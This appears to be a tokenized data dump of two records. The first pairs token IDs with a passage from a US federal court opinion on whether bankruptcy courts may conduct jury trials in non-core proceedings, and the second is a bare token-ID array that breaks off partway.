[ 2408, 281, 271, 6843, 4098, 273, 1612, 281, 2589, 4984, 7587, 15, 496, 958, 13, 253, 760, 13165, 10067, 534, 2968, 5742, 342, 253, 987, 281, 2589, 247, 4984, 2332, 25145, 253, 3286, 1302, 281, 513, 594, 275, 3367, 4975, 285, 32288, 2471, 3916, 13, 1903, 530, 15, 52, 15, 36, 15, 3015, 21043, 9, 67, 2769, 22, 582, 285, 14003, 253, 987, 281, 2332, 407, 4984, 5001, 3367, 4975, 390, 32288, 2471, 9810, 3916, 15, 3349, 530, 15, 52, 15, 36, 15, 3015, 1638, 883, 15, 1284, 253, 35661, 6817, 2111, 273, 9892, 8042, 562, 275, 496, 294, 1986, 16301, 6022, 13, 5759, 4620, 281, 320, 6600, 273, 253, 3448, 3058, 281, 20229, 3890, 6265, 275, 247, 1327, 14, 30858, 6490, 41223, 281, 2589, 4984, 7587, 13, 1580, 352, 556, 2218, 594, 275, 253, 1083, 273, 530, 15, 52, 15, 6813, 382, 27619, 15, 496, 294, 1986, 16301, 6022, 13, 898, 520, 401, 15, 19, 69, 387, 1638, 3439, 313, 43507, 3349, 530, 15, 52, 15, 36, 15, 3015, 49921, 9, 66, 2769, 20, 582, 313, 68, 2769, 18, 5029, 2896, 4499, 13, 253, 6413, 2111, 556, 7943, 3448, 275, 253, 12459, 3162, 5277, 323, 4984, 7587, 275, 13165, 10061, 313, 1619, 530, 15, 52, 15, 36, 15, 3015, 1638, 883, 10, 347, 346, 1439, 49186, 23851, 449, 22346, 9750, 1377, 22771, 13, 45223, 530, 15, 52, 15, 387, 3387, 14, 3156, 295, 15, 495, 13, 12652, 322, 15, 5229, 15, 387, 3435, 2511, 295, 15, 495, 15, 187, 688, 253, 5928, 273, 3890, 11315, 26239, 13, 253, 1953, 4916, 1880, 824, 1612, 778, 320, 10466, 432, 247, 4361, 273, 253, 14112, 2892, 285, 16, 263, 1880, 352, 310, 346, 1763, 37115, 285, 3309, 281, 1056, 253, 10843, 3576, 449, 496, 294, 1986, 16301, 6022, 13, 898, 520, 401, 15, 19, 69, 387, 1638, 2417, 313, 18799, 374, 34, 322, 16580, 1373, 6515, 15, 13186, 15, 3015, 7288, 15, 2125, 313, 15624, 5029, 2594, 671, 2071, 360, 362, 15, 659, 24480, 13, 37306, 530, 15, 52, 15, 854, 2691, 13, 854, 4196, 13, 12131, 322, 15, 5229, 15, 1458, 3156, 13, 1458, 2385, 13, 11275, 418, 15, 3996, 15, 19, 69, 854, 4739, 313, 15624, 558, 367, 2955, 793, 45323, 9537, 15, 362, 15, 32330, 35, 13, 31389, 530, 15, 52, 15, 24232, 13, 9901, 322, 15, 5229, 15, 854, 1857, 13, 9330, 418, 15, 3996, 15, 1249, 3677, 313, 44606, 481, 187, 688, 830, 8287, 271, 3662, 13, 253, 2111, 33888, 806, 253, 28934, 13165, 19195, 15, 380, 23560, 3162, 273, 42122, 313, 783, 346, 1093, 4185, 3162, 2807, 6221, 642, 11315, 26239, 323, 253, 13165, 1302, 281, 2589, 4984, 7587, 13, 3738, 352, 858, 2085, 323, 4984, 7587, 275, 253, 1083, 273, 35393, 33432, 285, 10143, 273, 26131, 15, 496, 15621, 13, 253, 2523, 273, 1880, 253, 13165, 1302, 812, 1611, 475, 28871, 253, 6158, 3916, 369, 11512, 13, 342, 253, 38548, 72, 318, 273, 19993, 4803, 407, 253, 32665, 12651, 15, 9240, 4803, 2424, 10143, 1430, 3916, 281, 320, 3597, 275, 253, 3286, 1302, 13, 5734, 247, 1980, 4086, 2530, 5010, 13, 285, 35393, 33432, 281, 320, 3597, 275, 253, 13165, 1302, 13, 5734, 247, 4831, 323, 2332, 275, 253, 3286, 1302, 369, 1160, 390, 247, 1980, 4086, 594, 2424, 15, 8529, 15, 6022, 15, 51, 15, 27744, 9, 68, 582, 11343, 9, 67, 582, 45016, 275, 1249, 2065, 3623, 327, 23560, 1061, 15, 27744, 15, 18, 313, 1047, 394, 1407, 15, 14828, 481, 2594, 29215, 13, 41670, 47992, 275, 23560, 27, 473, 1257, 3184, 253, 11293, 2287, 273, 14108, 6490, 285, 253, 33808, 10737, 13, 8187, 12498, 15, 45, 15, 7498, 15, 898, 2251, 13, 898, 3655, 313, 14619, 10, 5550, 43, 1626, 47992, 275, 23560, 6788, 187, 29129, 13, 253, 23560, 27828, 3162, 313, 783, 346, 19791, 3162, 2807, 4428, 642, 3890, 26239, 323, 253, 13165, 1302, 281, 2589, 4984, 7587, 15, 1723, 13, 275, 45961, 13, 253, 6413, 2111, 12969, 326, 5238, 1638, 1438, 13, 534, 2530, 323, 253, 23029, 273, 253, 987, 281, 247, 4984, 2332, 347, 352, 13164, 2720, 281, 253, 14304, 3162, 17555, 22, 62, 858, 25145, 253, 13165, 1302, 281, 2589, 4984, 7587, 15, 3349, 530, 15, 52, 15, 36, 15, 3015, 1638, 1438, 313, 17103, 10, 313, 250, 365, 3256, 481, 380, 2111, 434, 7914, 2908, 8981, 273, 253, 3862, 4098, 273, 7571, 275, 253, 3162, 281, 346, 455, 5079, 10061, 14475, 762, 4060, 1903, 390, 14475, 275, 390, 2905, 281, 2219, 762, 4060, 1903, 937, 3349, 530, 15, 52, 15, 36, 15, 3015, 1638, 3677, 9, 67, 582, 313, 68, 582, 347, 973, 347, 273, 5759, 434, 4469, 6860, 15, 8079, 13, 253, 14112, 2892, 4620, 281, 452, 644, 15246, 327, 436, 1127, 27, 187, 16822, 10025, 7829, 588, 320, 2424, 281, 2186, 4984, 7587, 281, 21633, 9038, 752, 403, 762, 1246, 1569, 1925, 2634, 446, 35634, 19519, 4117, 326, 310, 13, 19519, 326, 403, 3982, 275, 2418, 390, 7671, 7829, 643, 685, 13165, 7829, 4681, 23, 62, 187, 19791, 530, 15, 52, 15, 6124, 4731, 15, 708, 37727, 15, 19537, 8988, 2597, 13, 8978, 3571, 13, 8978, 3655, 15, 2594, 3839, 41670, 47992, 275, 23560, 387, 898, 1976, 15, 187, 510, 6413, 2111, 275, 45961, 2427, 327, 281, 11165, 326, 22996, 26239, 281, 2589, 4984, 7587, 13588, 14108, 6490, 273, 253, 530, 15, 52, 15, 10350, 13, 387, 1878, 347, 281, 1375, 14, 6937, 3310, 3916, 14475, 762, 253, 13165, 5323, 15, 496, 2380, 13, 253, 32665, 12651, 38548, 27189, 8945, 4803, 534, 19772, 253, 13165, 1302, 432, 16472, 4984, 7587, 15, 28060, 7804, 313, 69, 2769, 18, 2769, 37, 582, 45016, 275, 337, 2065, 3623, 327, 23560, 1061, 15, 495, 15, 520, 9, 18, 2769, 67, 2769, 6584, 2769, 1010, 394, 1407, 15, 11161, 481, 2594, 671, 496, 294, 7039, 273, 914, 41480, 35365, 5109, 273, 401, 322, 21506, 9537, 904, 818, 1549, 401, 15, 19, 69, 12035, 21, 13, 12035, 25, 313, 883, 394, 4082, 15, 15117, 481, 24083, 13, 5759, 23552, 253, 23560, 44518, 942, 285, 7671, 19592, 1456, 3162, 273, 12459, 313, 783, 346, 15624, 44518, 942, 8375, 534, 3842, 3256, 5238, 1638, 1438, 15, 9157, 13, 23560, 7804, 898, 10496, 13, 534, 369, 38548, 27189, 846, 45961, 285, 17886, 7259, 323, 4984, 7587, 13, 369, 48736, 456, 275, 12034, 281, 3693, 667, 7914, 326, 352, 35716, 247, 987, 281, 4984, 2332, 275, 8213, 1078, 253, 13165, 1302, 15, 2594, 34136, 7039, 21812, 327, 12034, 10737, 13, 1903, 530, 15, 52, 15, 36, 15, 34, 15, 7804, 898, 10496, 313, 357, 6375, 456, 3919, 1884, 13, 12034, 481, 187, 11, 24447, 1284, 4879, 407, 253, 35661, 6817, 2111, 273, 9892, 275, 496, 294, 1986, 16301, 6022, 13, 898, 520, 401, 15, 19, 69, 387, 1638, 2417, 295, 15, 1668, 13, 253, 33178, 3806, 275, 253, 14112, 2892, 281, 253, 13165, 1302, 434, 1612, 281, 2589, 247, 4984, 2332, 310, 1679, 685, 2590, 15, 6408, 247, 8881, 327, 1880, 281, 7158, 253, 13165, 1302, 14108, 6490, 3708, 13, 19974, 29552, 1255, 4767, 326, 346, 783, 13165, 1302, 588, 2589, 253, 2332, 13, 1056, 247, 17401, 281, 253, 3286, 1302, 449, 11084, 4731, 15, 6116, 15, 388, 23, 22232, 313, 9709, 15, 3127, 13, 12459, 481, 754, 840, 4767, 326, 521, 15129, 13, 6034, 281, 32039, 14108, 6490, 3708, 327, 13165, 16006, 13, 11392, 275, 17718, 13, 346, 1851, 12937, 800, 41519, 273, 253, 8945, 13165, 4086, 13, 253, 1566, 4086, 326, 556, 644, 275, 1055, 964, 964, 17212, 1723, 13, 347, 4879, 9253, 13, 253, 28060, 16228, 19772, 253, 13165, 1302, 432, 16472, 4984, 7587, 15, 28060, 7804, 313, 69, 2769, 18, 2769, 37, 481, 9157, 13, 275, 247, 3908, 327, 8180, 273, 247, 8907, 12651, 10840, 327, 253, 12459, 3162, 13, 18718, 2207, 11078, 388, 1506, 7478, 326, 346, 783, 8059, 16733, 728, 253, 19652, 557, 39833, 407, 253, 6413, 2111, 275, 253, 45961, 1083, 449, 21978, 407, 4673, 15, 388, 1506, 13, 12459, 530, 15, 52, 15, 6124, 4731, 15, 708, 37727, 15, 19537, 46313, 13, 47064, 13, 46475, 15, 18718, 388, 1506, 2427, 327, 281, 3877, 326, 346, 688, 45961, 253, 6413, 2111, 4425, 326, 13165, 16006, 812, 417, 21633, 9038, 2418, 1569, 3916, 449, 4031, 15, 387, 608, 4196, 15, 2053, 7234, 13, 11575, 275, 1708, 273, 22346, 9750, 1377, 22771, 434, 10362, 326, 3916, 273, 3055, 987, 1754, 327, 1375, 1569, 403, 417, 7429, 281, 2332, 407, 4984, 13, 14269, 366, 275, 3718, 273, 247, 7441, 326, 253, 13165, 1302, 778, 417, 21633, 9038, 253, 3916, 3559, 1060, 15, 5076, 13, 436, 2111, 2550, 26923, 667, 34593, 1921, 2139, 352, 651, 320, 3309, 323, 253, 13165, 1302, 281, 320, 43175, 281, 2589, 4984, 7587, 275, 247, 1327, 14, 6443, 12162, 275, 1340, 281, 4459, 562, 697, 3890, 11315, 9136, 15, 187, 15545, 327, 247, 10182, 2278, 273, 253, 11315, 3448, 285, 14112, 2892, 13, 253, 17538, 6817, 2111, 273, 9892, 7945, 326, 5759, 6034, 281, 2701, 253, 1612, 273, 253, 13165, 1302, 762, 253, 12459, 44518, 942, 15, 38842, 362, 15, 473, 868, 313, 688, 294, 38025, 13, 3690, 11507, 854, 2222, 401, 15, 19, 69, 7783, 20, 13, 1458, 1047, 14, 1010, 313, 22, 394, 4082, 15, 13435, 481, 380, 2111, 3103, 9284, 281, 1089, 271, 10466, 1612, 275, 253, 13165, 1302, 281, 16209, 6424, 20334, 13, 4073, 272, 671, 326, 247, 4092, 10281, 1953, 651, 5010, 320, 22691, 27, 187, 1231, 956, 253, 11371, 4086, 326, 4400, 19195, 13, 835, 597, 778, 12054, 320, 594, 21323, 1293, 7217, 281, 616, 2590, 4495, 13, 943, 320, 1677, 271, 7914, 326, 32547, 4092, 1953, 347, 281, 616, 10281, 13091, 15, 187, 688, 294, 38025, 13, 854, 2222, 401, 15, 19, 69, 387, 7783, 26, 313, 18799, 13, 734, 40342, 13, 46586, 362, 15, 1986, 2077, 13, 35302, 530, 15, 52, 15, 854, 3680, 13, 854, 1540, 13, 12652, 322, 15, 5229, 15, 374, 20991, 13, 22856, 18, 13, 12131, 418, 15, 3996, 15, 19, 69, 898, 1508, 313, 14643, 5029, 1198, 253, 1072, 4606, 13, 436, 2111, 9010, 642, 10466, 1612, 275, 253, 13165, 1302, 281, 2589, 4984, 7587, 275, 1327, 14, 6443, 10061, 15, 187, 6175, 253, 23560, 6307, 1057, 1375, 326, 5161, 10061, 2486, 5231, 281, 9295, 17971, 285, 281, 873, 9255, 25447, 12709, 1972, 13, 253, 6413, 2111, 275, 22346, 9750, 1377, 22771, 4845, 247, 27392, 327, 326, 11315, 3448, 15, 22346, 9750, 1377, 22771, 5936, 326, 253, 5161, 285, 1327, 14, 6443, 2216, 569, 1160, 407, 5759, 403, 417, 557, 10247, 273, 253, 33808, 10737, 987, 281, 247, 2332, 407, 4984, 15, 2594, 22346, 9750, 1377, 22771, 13, 45223, 530, 15, 52, 15, 387, 9901, 13, 12652, 322, 15, 5229, 15, 387, 3349, 361, 5550, 1552, 15846, 43653, 1818, 2550, 6990, 776, 33808, 10737, 1783, 25107, 2896, 6880, 13, 824, 23069, 13301, 943, 417, 39589, 534, 12209, 778, 2589, 247, 4984, 2332, 15, 496, 1859, 273, 253, 958, 326, 313, 66, 10, 253, 3916, 281, 9295, 247, 14682, 285, 281, 873, 9255, 25447, 12709, 1972, 452, 417, 644, 5439, 1411, 253, 13165, 8304, 13, 285, 313, 67, 10, 841, 4320, 3916, 6388, 3055, 3570, 1754, 327, 1375, 1569, 13, 597, 403, 7429, 281, 320, 3597, 407, 247, 4984, 15, 2594, 5955, 16414, 15, 37368, 281, 253, 20128, 1783, 13, 436, 2111, 20097, 671, 326, 253, 13165, 1302, 19756, 11315, 6265, 281, 2589, 247, 4984, 2332, 273, 841, 1798, 3916, 13, 1880, 390, 417, 253, 12459, 44518, 942, 1850, 297, 4024, 731, 13, 275, 247, 12314, 3282, 13, 347, 5161, 390, 1327, 14, 6443, 15, 2594, 13, 299, 15, 72, 904, 399, 4063, 249, 13, 9743, 378, 15, 51, 15, 387, 21669, 313, 3446, 964, 964, 247, 1083, 1057, 417, 2489, 247, 5161, 12162, 3365, 984, 352, 310, 1561, 247, 3349, 530, 15, 52, 15, 36, 15, 3015, 21043, 9, 67, 2769, 19, 10, 7681, 5740, 25107, 187, 18562, 594, 3413, 13, 253, 2111, 34044, 281, 3986, 253, 2007, 2523, 273, 1880, 14108, 6490, 285, 16, 263, 253, 33808, 10737, 7164, 10281, 15938, 281, 253, 23560, 2111, 434, 1612, 281, 2589, 4984, 7587, 15, 187, 11, 40948, 380, 2111, 21223, 9010, 642, 878, 281, 3986, 12244, 6022, 434, 3081, 4154, 326, 18185, 273, 253, 3806, 310, 17396, 762, 3349, 530, 15, 52, 15, 36, 15, 3015, 21043, 9, 69, 582, 275, 1859, 273, 253 ]	amount to an explicit grant of power to conduct jury trials. In fact, the only bankruptcy provisions which deal specifically with the right to conduct a jury trial empower the district court to do so in personal injury and wrongful death claims, 11 U.S.C. § 157(b)(5), and preserve the right to trial by jury regarding personal injury or wrongful death tort claims. 28 U.S.C. § 1411. As the Eighth Circuit Court of Appeals pointed out in In re United Missouri Bank, Congress appears to be aware of the language needed to vest express authority in a non-Article III tribunal to conduct jury trials, since it has done so in the case of U.S. Magistrates. In re United Missouri Bank, 901 F.2d at 1454 (noting 28 U.S.C. § 636(a)(3), (c)(1)). By contrast, the Supreme Court has characterized language in the 1984 Act providing for jury trials in bankruptcy proceedings (28 U.S.C. § 1411) as "notoriously ambiguous." Granfinanciera, 492 U.S. at 40-41 n. 3, 109 S.Ct. at 2789 n. 3. In the absence of express statutory authorization, the question becomes whether such power may be implied from a reading of the legislative history and/or whether it is "incidental and necessary to make the legislation effective." In re United Missouri Bank, 901 F.2d at 1455 (citing 2A Sutherland Stat.Const. § 55.04 (1984)). See also Blum v. Stenson, 465 U.S. 886, 896, 104 S.Ct. 1541, 1548, 79 L.Ed.2d 891 (1984); Phelps Dodge Corp. v. NLRB, 313 U.S. 177, 61 S.Ct. 845, 85 L.Ed. 1271 (1941). In formulating an answer, the Court examines first the predecessor bankruptcy statutes. The Bankruptcy Act of 1898 (the "1898 Act") contained no statutory authorization for the bankruptcy court to conduct jury trials, although it did provide for jury trials in the case of involuntary petitions and discharge of debts. In 1973, the issue of whether the bankruptcy court could try 443 the latter claims was resolved, with the promulgation of procedural rules by the Judicial Conference. Those rules required dischargeability claims to be tried in the district court, unless a local rule provided otherwise, and involuntary petitions to be tried in the bankruptcy court, unless a demand for trial in the district court was made or a local rule so required. Fed. Bank.R. 409(c), 115(b), reprinted in 12 Collier on Bankruptcy par. 409.1 (14th ed. 1976). See Gibson, Jury Trials in Bankruptcy: Obeying the Commands of Article III and the Seventh Amendment, 72 Minn.L.Rev. 967, 973 (1988) ("Jury Trials in Bankruptcy"). Similarly, the Bankruptcy Reform Act (the "1978 Act") contains no express authorization for the bankruptcy court to conduct jury trials. However, in Marathon, the Supreme Court ruled that Section 1480, which provided for the preservation of the right to a jury trial as it existed prior to the 1978 Act,[5] did empower the bankruptcy court to conduct jury trials. 28 U.S.C. § 1480 (1982) (repealed). The Court's interpretation included recognition of the broad grant of jurisdiction in the Act to "all civil proceedings arising under title 11 or arising in or related to cases under title 11," 28 U.S.C. § 1471(b), (c), as well as of Congress's expressed intent. Indeed, the legislative history appears to have been straightforward on this point: Bankruptcy courts will be required to hold jury trials to adjudicate what are under present law called `plenary suits,' that is, suits that are brought in State or Federal courts other than bankruptcy courts.[6] 1978 U.S.Code Cong. & Admin.News 5787, 5963, 5973. See generally Jury Trials in Bankruptcy at 975. The Supreme Court in Marathon went on to declare that congressional authorization to conduct jury trials violated Article III of the U.S. Constitution, at least as to state-law contract claims arising under the bankruptcy laws. In response, the Judicial Conference promulgated emergency rules which prohibited the bankruptcy court from conducting jury trials. Emergency Rule (d)(1)(D), reprinted in 1 Collier on Bankruptcy par. 3.01(1)(b)(vi)(15th ed. 1989). See also In re Committee of Unsecured Creditors of F S Communications Corp., 760 F.2d 1194, 1198 (11th Cir.1985). Subsequently, Congress enacted the Bankruptcy Amendments and Federal Judgeship Act of 1984 (the "1984 Amendments"), which repealed Section 1480. Additionally, Bankruptcy Rule 9015, which was promulgated after Marathon and governed procedures for jury trials, was abrogated in 1987 to avoid any interpretation that it conferred a right to jury trial in matters before the bankruptcy court. See Advisory Committee Notes on 1987 Amendment, 11 U.S.C.A. Rule 9015 (abrogated March 30, 1987). 444 As noted by the Eighth Circuit Court of Appeals in In re United Missouri Bank, 901 F.2d at 1455 n. 16, the lone reference in the legislative history to the bankruptcy court's power to conduct a jury trial is less than clear. During a debate on whether to accord the bankruptcy court Article III status, Representative Kindness stated that "the bankruptcy court will conduct the trial, make a recommendation to the district court." 130 Cong.Rec. H6242 (Mar. 21, 1984). He then stated that his amendment, intended to confer Article III status on bankruptcy judges, reflected in essence, "legislative enactment of the emergency bankruptcy rule, the model rule that has been in effect..." However, as noted supra, the Emergency Rules prohibited the bankruptcy court from conducting jury trials. Emergency Rule (d)(1)(D). Additionally, in a statement on consideration of a Senate Conference Report on the 1984 Act, Senator Orrin Hatch recognized that "the conference remedied the flaw discerned by the Supreme Court in the Marathon case." Statement by Sen. Hatch, 1984 U.S.Code Cong. & Admin.News 576, 590, 594. Senator Hatch went on to note that "In Marathon the Supreme Court decided that bankruptcy judges could not adjudicate State law claims." Id. at 596. These statements, viewed in light of Granfinanciera's ruling that claims of private right based on state law are not entitled to trial by jury, militate in favor of a determination that the bankruptcy court may not adjudicate the claims presented here. Moreover, this Court cannot discern any persuasive reason why it would be necessary for the bankruptcy court to be empowered to conduct jury trials in a non-core proceeding in order to carry out its express statutory powers. Based on a careful review of the statutory language and legislative history, the Fifth Circuit Court of Appeals concluded that Congress intended to limit the power of the bankruptcy court under the 1984 Amendments. Griffith v. Oles (In re Hipp, Inc.), 895 F.2d 1503, 1514-15 (5th Cir.1990). The Court therefore refused to find an implied power in the bankruptcy court to impose criminal contempt, stressing also that a serious constitutional question would otherwise be posed: We follow the settled rule that federal statutes, where they may reasonably be so construed without violence to their clear meaning, should be given an interpretation that avoids serious question as to their constitutional validity. In re Hipp, 895 F.2d at 1509 (citing, inter alia, Gomez v. United States, 490 U.S. 858, 864, 109 S.Ct. 2237, 2241, 104 L.Ed.2d 923 (1989)). For the same reasons, this Court finds no implied power in the bankruptcy court to conduct jury trials in non-core proceedings. While the Bankruptcy Code does state that core proceedings include actions to recover preferences and to set aside fraudulent conveyances, the Supreme Court in Granfinanciera placed a gloss on that statutory language. Granfinanciera suggests that the core and non-core designations made by Congress are not dispositive of the Seventh Amendment right to a trial by jury. See Granfinanciera, 492 U.S. at 61, 109 S.Ct. at 2800 ("This purely taxonomic change cannot alter our Seventh Amendment analysis.") By extension, such blanket labels should not dictate which forum may conduct a jury trial. In view of the fact that (a) the claims to recover a preference and to set aside fraudulent conveyances have not been raised against the bankruptcy estate, and (b) these legal claims involve private rights based on state law, they are entitled to be tried by a jury. See discussion infra. Pursuant to the foregoing analysis, this Court concludes also that the bankruptcy court lacks statutory authority to conduct a jury trial of these particular claims, whether or not the 1984 Amendments denominate them, in a generic sense, as core or non-core. See, e.g., Durbin, 62 B.R. at 142 ("... a case does not become a core proceeding simply because it is within a 28 U.S.C. § 157(b)(2) technical description.") Having so determined, the Court declines to reach the further issue of whether Article III and/or the Seventh Amendment raise constitutional barriers to the Bankruptcy Court's power to conduct jury trials. *445 The Court likewise finds no need to reach Community Bank's additional argument that withdrawal of the reference is mandatory under 28 U.S.C. § 157(d), in view of the
[ 89, 26, 69, 273, 11390, 1146, 4209, 281, 10808, 271, 7026, 2380, 15, 187, 688, 247, 2173, 14704, 13, 253, 1246, 3688, 3400, 247, 5889, 534, 310, 12107, 1411, 247, 775, 5247, 32922, 3714, 770, 26293, 5066, 275, 5074, 13, 1690, 47874, 3417, 13, 11616, 247, 11234, 273, 27320, 3527, 2048, 11390, 11616, 247, 41155, 12634, 30333, 7939, 281, 247, 27320, 3527, 9706, 253, 8898, 3527, 3425, 873, 6593, 275, 6725, 50, 5417, 7651, 27, 24, 390, 6725, 50, 5417, 7651, 27, 25, 275, 247, 7800, 11698, 1037, 12207, 10289, 15, 187, 688, 247, 2007, 2173, 14704, 13, 253, 1246, 3688, 3400, 247, 5889, 534, 310, 12107, 1411, 775, 5247, 32922, 3714, 770, 26293, 10332, 275, 5074, 13, 1690, 47874, 3417, 13, 11616, 247, 11234, 273, 27320, 3527, 2048, 11390, 11616, 247, 41155, 12634, 30333, 7939, 281, 581, 390, 625, 18379, 6430, 4236, 432, 253, 1387, 11253, 273, 27, 6725, 50, 5417, 7651, 27, 20, 13, 6725, 50, 5417, 7651, 27, 21, 13, 6725, 50, 5417, 7651, 27, 22, 285, 6725, 50, 5417, 7651, 27, 23, 275, 247, 7800, 11698, 1037, 12207, 10289, 15, 187, 688, 247, 2173, 14704, 13, 253, 27320, 3527, 2048, 4972, 12093, 247, 4554, 485, 9896, 22264, 12634, 30333, 7939, 281, 247, 27320, 3527, 9706, 657, 37, 20, 285, 657, 37, 21, 273, 353, 2277, 49, 13, 323, 1650, 1907, 253, 18379, 3425, 873, 6593, 275, 2057, 6725, 50, 5417, 7651, 27, 20, 13, 6725, 50, 5417, 7651, 27, 21, 13, 6725, 50, 5417, 7651, 27, 22, 390, 6725, 50, 5417, 7651, 27, 23, 15, 187, 47, 2627, 280, 5192, 2352, 16, 55, 646, 641, 16, 55, 3649, 1100, 14, 16691, 187, 510, 27320, 3527, 9706, 253, 353, 2277, 49, 36966, 476, 320, 667, 27320, 3527, 326, 30333, 31360, 253, 353, 2277, 49, 36966, 15, 1198, 1650, 13, 281, 30333, 22573, 13, 891, 15, 70, 904, 1581, 253, 27320, 3527, 281, 320, 4469, 13, 253, 27320, 3527, 476, 2486, 13, 323, 1650, 13, 2048, 1453, 6430, 13, 824, 347, 271, 6510, 273, 14970, 13, 247, 12634, 13, 271, 48060, 13, 285, 3309, 1491, 5162, 4375, 13, 824, 347, 9412, 10217, 4865, 4375, 13, 5771, 37690, 4375, 13, 3488, 12670, 16499, 4375, 13, 285, 18304, 1307, 12915, 6430, 15, 25585, 13004, 2048, 1453, 6430, 403, 2266, 285, 16, 263, 49217, 28960, 824, 347, 1110, 6012, 432, 11937, 837, 41568, 3608, 13, 20143, 3608, 13, 40523, 3608, 13, 42168, 13, 17370, 1449, 13, 416, 528, 45928, 6581, 13, 12067, 22264, 13, 21963, 46074, 3691, 6581, 13, 3966, 15, 329, 27320, 3527, 9706, 247, 4236, 353, 2277, 49, 36966, 476, 12450, 320, 3413, 1754, 2220, 253, 6380, 2127, 323, 253, 8898, 3527, 3425, 273, 253, 4236, 353, 2277, 49, 36966, 13, 285, 13, 4518, 13, 1142, 27320, 9532, 588, 22573, 667, 4236, 19114, 6555, 2601, 15, 4559, 6787, 281, 253, 27320, 9532, 273, 253, 3688, 403, 671, 32376, 13, 1580, 9197, 476, 7624, 320, 5421, 323, 3687, 12107, 12538, 1055, 15, 9157, 13, 14586, 326, 476, 320, 4217, 403, 14586, 281, 253, 6430, 10938, 2048, 273, 253, 353, 2277, 49, 36966, 281, 1056, 3275, 273, 253, 353, 2277, 49, 36966, 49217, 390, 1234, 560, 917, 2220, 1635, 281, 253, 1341, 273, 253, 4569, 3132, 1209, 390, 1234, 32232, 15, 6102, 2097, 403, 2629, 275, 253, 1445, 313, 2887, 13, 299, 15, 72, 904, 15, 322, 1369, 287, 536, 1162, 355, 904, 26024, 1639, 12777, 27, 329, 18196, 28609, 13, 374, 2109, 3619, 904, 20754, 10039, 28670, 18196, 13, 20754, 10039, 28670, 13, 427, 15, 58, 904, 11161, 481, 380, 27320, 9532, 476, 320, 4561, 407, 2097, 2629, 275, 253, 1445, 13, 824, 347, 407, 17415, 27320, 3527, 5609, 13, 347, 45045, 275, 253, 6667, 11249, 13, 285, 407, 13506, 27320, 3527, 9066, 390, 275, 7991, 27845, 9066, 15, 187, 510, 2048, 11390, 273, 253, 3688, 476, 320, 275, 247, 3167, 7032, 273, 13002, 253, 353, 2277, 49, 36966, 2984, 2646, 390, 253, 353, 7282, 14, 46, 2277, 49, 11781, 2601, 2984, 2646, 15, 1707, 403, 7418, 444, 15, 14347, 2048, 11390, 1929, 281, 581, 273, 9826, 10861, 275, 253, 1445, 4217, 323, 253, 2048, 273, 253, 11611, 15, 5131, 20180, 14516, 7470, 323, 897, 2486, 45003, 3370, 13, 824, 347, 378, 27755, 749, 1343, 316, 13, 285, 643, 4901, 13385, 74, 20448, 13, 824, 347, 6470, 34640, 13, 322, 1000, 255, 571, 13, 285, 2710, 38365, 31911, 3417, 15, 496, 841, 354, 76, 552, 3875, 14516, 581, 476, 671, 1056, 2048, 11390, 13, 534, 588, 5431, 3831, 2048, 1453, 6430, 13333, 342, 253, 3167, 894, 313, 70, 15, 72, 904, 271, 6510, 273, 14970, 481, 496, 1635, 13, 667, 1180, 273, 247, 5235, 273, 973, 14, 4304, 28960, 588, 320, 1246, 13, 824, 347, 253, 16184, 583, 12634, 985, 13, 247, 46055, 42188, 313, 2290, 81, 10, 12634, 985, 13, 247, 9840, 14, 33316, 312, 511, 12634, 985, 13, 390, 247, 12634, 985, 432, 35966, 29331, 15, 380, 28960, 588, 5431, 1453, 2048, 13, 33323, 342, 271, 5572, 3425, 13, 285, 452, 9412, 10217, 4865, 2670, 6430, 323, 1650, 13, 323, 36300, 285, 21006, 9464, 285, 10234, 15, 1310, 3309, 271, 8898, 8351, 10258, 41568, 476, 320, 2530, 407, 16941, 273, 247, 6365, 33442, 608, 7096, 19, 89, 1438, 89, 19, 285, 275, 14, 6301, 342, 253, 11611, 15, 5220, 13, 253, 22236, 1190, 14, 14104, 6880, 273, 253, 11611, 476, 320, 5176, 970, 2629, 46383, 45889, 7259, 15, 187, 28144, 13, 15727, 2048, 2718, 476, 320, 908, 15, 1707, 778, 320, 2067, 11361, 281, 15727, 2048, 2718, 15, 3973, 13, 1941, 4961, 326, 4324, 4197, 275, 247, 15727, 15088, 2718, 10738, 3451, 47821, 25015, 15, 6347, 13, 1501, 14, 34881, 1050, 26988, 16499, 310, 14556, 4824, 562, 407, 15727, 42323, 2718, 15, 380, 322, 17282, 36315, 41866, 638, 14, 856, 14, 1637, 14, 19012, 6657, 2919, 313, 36034, 407, 253, 30794, 34833, 18, 14, 18, 3320, 10, 310, 21774, 908, 281, 1480, 2601, 15088, 432, 15727, 313, 32893, 413, 1162, 355, 904, 12459, 481, 380, 6657, 2919, 273, 638, 14, 856, 14, 1637, 14, 19012, 4428, 247, 2625, 11541, 285, 247, 354, 14, 29429, 534, 3797, 247, 8981, 3425, 323, 247, 15727, 25223, 16202, 407, 253, 611, 4237, 19, 3320, 27, 436, 9548, 1391, 3465, 253, 20379, 2601, 327, 253, 22236, 1190, 1930, 273, 247, 31300, 14, 11141, 1073, 42387, 21725, 14, 27644, 3425, 15, 380, 11611, 12425, 3425, 476, 320, 29843, 275, 14, 6301, 281, 253, 638, 14, 856, 14, 1637, 14, 19012, 6657, 2919, 15, 831, 3989, 310, 840, 1691, 762, 253, 1453, 273, 247, 2266, 9464, 12634, 13, 824, 347, 253, 7665, 28421, 309, 12634, 390, 247, 22471, 7713, 12634, 15, 380, 11611, 12425, 3425, 310, 3560, 407, 247, 10234, 15056, 33442, 534, 310, 3560, 407, 9464, 15056, 6298, 15, 20564, 13, 253, 11611, 12425, 6430, 476, 320, 29843, 281, 247, 1273, 2601, 12425, 3425, 13, 824, 347, 322, 75, 1731, 390, 34833, 19, 14, 42957, 44555, 13, 908, 281, 12454, 23609, 273, 253, 11781, 2601, 407, 15430, 19849, 15, 380, 16941, 273, 25223, 21725, 4375, 281, 4858, 253, 4295, 273, 253, 11781, 2601, 310, 7763, 281, 21031, 908, 323, 2048, 275, 15727, 15, 187, 28144, 13, 21744, 1341, 9659, 253, 2048, 273, 4324, 275, 271, 3126, 326, 32955, 1774, 1501, 14, 34881, 1050, 14586, 824, 347, 23205, 285, 35750, 25015, 13, 1635, 273, 2570, 30825, 5289, 13, 285, 15088, 273, 3939, 2601, 15, 657, 646, 641, 4217, 323, 253, 2048, 273, 11611, 275, 21744, 1341, 403, 7943, 407, 16941, 273, 253, 11611, 12425, 3425, 875, 247, 2266, 9907, 12634, 285, 247, 3488, 12670, 16499, 2625, 15, 380, 11390, 476, 3831, 3608, 1461, 24247, 2057, 8030, 12614, 249, 390, 